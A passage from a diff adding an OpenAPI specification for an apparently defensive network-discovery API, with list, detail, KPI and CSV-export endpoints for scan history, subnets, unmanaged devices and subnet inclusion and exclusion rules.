+          name: job_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_id
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: action
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creationtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: starttime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: endtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: duration
+          required: false
+          type: number
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters:
+      - in: path
+        name: subnet_id
+        required: true
+        type: string
+  /data/attack_surface/NetworkDiscovery/ScanHistory/{subnet_id}/entries/:
+    get:
+      description: ""
+      operationId: data_attack_surface_NetworkDiscovery_ScanHistory_entries_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: job_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_id
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: action
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creationtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: starttime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: endtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: duration
+          required: false
+          type: number
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: title
+          required: false
+          type: string
+        - in: query
+          name: description
+          required: false
+          type: string
+        - in: query
+          name: creator
+          required: false
+          type: string
+        - in: query
+          name: agent_id
+          required: false
+          type: string
+        - in: query
+          name: scanning_agent.version
+          required: false
+          type: string
+        - in: query
+          name: scanning_agent.ostype
+          required: false
+          type: string
+        - in: query
+          name: scanning_agent.agent_id
+          required: false
+          type: string
+        - in: query
+          name: scanning_agent.hostname
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/_SubnetScanHistory'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters:
+      - in: path
+        name: subnet_id
+        required: true
+        type: string
+  /data/attack_surface/NetworkDiscovery/ScanHistory/{subnet_id}/entries/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_attack_surface_NetworkDiscovery_ScanHistory_entries_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: job_id
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: task_id
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: action
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: hostname
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: state
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: creationtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: starttime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: endtime
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: duration
+          required: false
+          type: number
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters:
+      - in: path
+        name: subnet_id
+        required: true
+        type: string
+  /data/attack_surface/NetworkDiscovery/details/{asset_id}/:
+    get:
+      description: Get the details for a single network discovery asset.
+      operationId: data_attack_surface_NetworkDiscovery_details
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NDAsset'
+      tags:
+        - host_properties
+    parameters:
+      - in: path
+        name: asset_id
+        required: true
+        type: string
+  /data/attack_surface/NetworkDiscovery/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_attack_surface_NetworkDiscovery_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters: []
+  /data/attack_surface/NetworkDiscovery/rogue_assets/:
+    get:
+      deprecated: true
+      description: List all assets discovered not covered by an agent
+      operationId: data_attack_surface_NetworkDiscovery_rogue_assets_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/NDAsset'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters: []
+  /data/attack_surface/NetworkDiscovery/rogue_assets/export/:
+    get:
+      deprecated: true
+      description: ""
+      operationId: data_attack_surface_NetworkDiscovery_rogue_assets_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters: []
+  /data/attack_surface/NetworkDiscovery/rogue_assets/kpis/:
+    get:
+      deprecated: true
+      description: ""
+      operationId: data_attack_surface_NetworkDiscovery_rogue_assets_kpis
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/KPI'
+      tags:
+        - host_properties
+    parameters: []
+  /data/attack_surface/NetworkDiscovery/rogue_assets/{id}/:
+    get:
+      deprecated: true
+      description: ""
+      operationId: data_attack_surface_NetworkDiscovery_rogue_assets_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NDAsset'
+      tags:
+        - host_properties
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/attack_surface/NetworkDiscovery/update_asset/{asset_id}/:
+    parameters:
+      - in: path
+        name: asset_id
+        required: true
+        type: string
+    patch:
+      description: Update the additional information for a single network discovery asset.
+      operationId: data_attack_surface_NetworkDiscovery_update_asset
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_AssetUpdate'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NDAsset'
+      tags:
+        - host_properties
+  /data/attack_surface/NetworkDiscovery/{hardware_address}/subnets/:
+    get:
+      description: Get the list of all subnets a device was seen in.
+      operationId: data_attack_surface_NetworkDiscovery_subnets
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/_AssetSubnets'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters:
+      - in: path
+        name: hardware_address
+        required: true
+        type: string
+  /data/attack_surface/NetworkDiscovery/{id}/:
+    get:
+      description: ""
+      operationId: data_attack_surface_NetworkDiscovery_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NDAsset'
+      tags:
+        - host_properties
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/attack_surface/NetworkDiscovery/{subnet_id}/devices/:
+    get:
+      description: Get the list of all devices seen in a subnet.
+      operationId: data_attack_surface_NetworkDiscovery_devices_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: job_id
+          type: string
+        - in: query
+          name: job_instance_id
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/NDAsset'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters:
+      - in: path
+        name: subnet_id
+        required: true
+        type: string
+  /data/attack_surface/NetworkDiscovery/{subnet_id}/devices/export/:
+    get:
+      description: Endpoint for exporting the current search as a CSV file.
+      operationId: data_attack_surface_NetworkDiscovery_devices_export
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters:
+      - in: path
+        name: subnet_id
+        required: true
+        type: string
+  /data/attack_surface/Subnet/:
+    get:
+      description: ""
+      operationId: data_attack_surface_Subnet_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_macaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_oui
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: auto_scan
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: randomized_mac_address_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: existing_agent_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: missing_agent_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: first_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_seen
+          required: false
+          type: string
+        - description: 'should be in this format : 10.0.0.1-10.0.0.255'
+          in: query
+          name: gateway_ip_range__exact
+          required: false
+          type: string
+        - description: 'should be in this format : 10.0.0.1-10.0.0.255'
+          in: query
+          name: gateway_ip_range__exact!
+          required: false
+          type: string
+        - in: query
+          name: gateway_cidr__exact
+          required: false
+          type: string
+        - in: query
+          name: gateway_cidr__exact!
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: total_agent_count
+          required: false
+          type: number
+        - in: query
+          name: blacklisted
+          required: false
+          type: boolean
+        - in: query
+          name: whitelisted
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/__SubnetSerializer'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters: []
+  /data/attack_surface/Subnet/bulk_action/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_attack_surface_Subnet_bulk_action
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/SubnetBulkAction'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubnetBulkActionResponse'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubnetBulkActionResponse'
+      tags:
+        - host_properties
+  /data/attack_surface/Subnet/device/{hardware_address}/:
+    get:
+      description: Get the list of all subnets a device was seen in.
+      operationId: data_attack_surface_Subnet_device
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_macaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_oui
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: auto_scan
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: randomized_mac_address_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: existing_agent_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: missing_agent_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: first_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_seen
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/SubnetAgg'
+            type: array
+      tags:
+        - host_properties
+    parameters:
+      - in: path
+        name: hardware_address
+        required: true
+        type: string
+  /data/attack_surface/Subnet/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_attack_surface_Subnet_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_macaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_oui
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: auto_scan
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: randomized_mac_address_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: existing_agent_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: missing_agent_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: first_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_seen
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters: []
+  /data/attack_surface/Subnet/get_oui_codes/:
+    get:
+      description: ""
+      operationId: data_attack_surface_Subnet_get_oui_codes
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_macaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_oui
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: auto_scan
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: randomized_mac_address_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: existing_agent_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: missing_agent_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: first_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_seen
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/OUICodes'
+      tags:
+        - host_properties
+    parameters: []
+  /data/attack_surface/Subnet/kpis/:
+    get:
+      description: ""
+      operationId: data_attack_surface_Subnet_kpis
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_macaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_oui
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: auto_scan
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: randomized_mac_address_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: existing_agent_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: missing_agent_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: first_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_seen
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/KPI'
+      tags:
+        - host_properties
+    parameters: []
+  /data/attack_surface/Subnet/subnet_kpis/{subnet_id}/:
+    get:
+      description: ""
+      operationId: data_attack_surface_Subnet_subnet_kpis
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: name
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_ipaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_macaddress
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: gateway_oui
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: auto_scan
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: randomized_mac_address_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: existing_agent_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: missing_agent_count
+          required: false
+          type: number
+        - description: ""
+          in: query
+          name: first_seen
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_seen
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: job_id
+          required: false
+          type: string
+        - in: query
+          minLength: 1
+          name: job_instance_id
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/KPI'
+      tags:
+        - host_properties
+    parameters:
+      - in: path
+        name: subnet_id
+        required: true
+        type: string
+  /data/attack_surface/Subnet/{id}/:
+    get:
+      description: ""
+      operationId: data_attack_surface_Subnet_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/__SubnetDetailsSerializer'
+      tags:
+        - host_properties
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_attack_surface_Subnet_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/__SubnetSerializer'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/__SubnetSerializer'
+      tags:
+        - host_properties
+    put:
+      description: ""
+      operationId: data_attack_surface_Subnet_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/__SubnetSerializer'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/__SubnetSerializer'
+      tags:
+        - host_properties
+  /data/attack_surface/Subnet/{id}/last_scan/:
+    get:
+      description: ""
+      operationId: data_attack_surface_Subnet_last_scan
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/BatchRetrieve'
+      tags:
+        - host_properties
+    parameters:
+      - in: path
+        name: id
+        required: true
+        type: string
+  /data/attack_surface/SubnetExclusion/:
+    get:
+      description: ""
+      operationId: data_attack_surface_SubnetExclusion_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ip_address
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ip_range_end
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: mac_addresses
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cidr
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: 'should be in this format : 10.0.0.1-10.0.0.255'
+          in: query
+          name: ip_range__exact
+          required: false
+          type: string
+        - description: 'should be in this format : 10.0.0.1-10.0.0.255'
+          in: query
+          name: ip_range__exact!
+          required: false
+          type: string
+        - in: query
+          name: cidr__exact
+          required: false
+          type: string
+        - in: query
+          name: cidr__exact!
+          required: false
+          type: string
+        - description: should be a comma-separated list of vendor codes
+          in: query
+          name: vendor_codes__contains
+          required: false
+          type: string
+        - description: should be a comma-separated list of vendor codes
+          in: query
+          name: vendor_codes__contains!
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/SubnetExclusion'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters: []
+    post:
+      description: ""
+      operationId: data_attack_surface_SubnetExclusion_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/SubnetExclusion'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubnetExclusion'
+      tags:
+        - host_properties
+  /data/attack_surface/SubnetExclusion/export/:
+    get:
+      description: Endpoint for exporting the current queryset as a CSV file.
+      operationId: data_attack_surface_SubnetExclusion_export
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ip_address
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ip_range_end
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: mac_addresses
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cidr
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          items:
+            type: string
+            x-nullable: true
+          name: fields
+          required: false
+          type: array
+        - default: 100
+          in: query
+          maximum: 500000
+          minimum: 0
+          name: length
+          required: false
+          type: integer
+        - default: true
+          in: query
+          name: escaped
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: csv export
+          schema:
+            type: file
+      tags:
+        - host_properties
+    parameters: []
+  /data/attack_surface/SubnetExclusion/{id}/:
+    delete:
+      description: ""
+      operationId: data_attack_surface_SubnetExclusion_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - host_properties
+    get:
+      description: ""
+      operationId: data_attack_surface_SubnetExclusion_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubnetExclusion'
+      tags:
+        - host_properties
+    parameters:
+      - description: A UUID string identifying this subnet exclusion.
+        format: uuid
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_attack_surface_SubnetExclusion_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/SubnetExclusion'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubnetExclusion'
+      tags:
+        - host_properties
+    put:
+      description: ""
+      operationId: data_attack_surface_SubnetExclusion_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/SubnetExclusion'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubnetExclusion'
+      tags:
+        - host_properties
+  /data/attack_surface/SubnetInclusion/:
+    get:
+      description: ""
+      operationId: data_attack_surface_SubnetInclusion_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: enabled
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ip_address
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: ip_range_end
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: mac_addresses
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: cidr
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: description
+          required: false
+          type: string
+        - description: 'should be in this format : 10.0.0.1-10.0.0.255'
+          in: query
+          name: ip_range__exact
+          required: false
+          type: string
+        - description: 'should be in this format : 10.0.0.1-10.0.0.255'
+          in: query
+          name: ip_range__exact!
+          required: false
+          type: string
+        - in: query
+          name: cidr__exact
+          required: false
+          type: string
+        - in: query
+          name: cidr__exact!
+          required: false
+          type: string
+        - description: should be a comma-separated list of vendor codes
+          in: query
+          name: vendor_codes__contains
+          required: false
+          type: string
+        - description: should be a comma-separated list of vendor codes
+          in: query
+          name: vendor_codes__contains!
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/SubnetInclusion'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - host_properties
+    parameters: []
+    post:
+      description: ""
+      operationId: data_attack_surface_SubnetInclusion_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/SubnetInclusion'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/SubnetInclusion'
+      tags:
+        - host_properties
+  /data/attack_surface/SubnetInclusion/export/:
+    get:
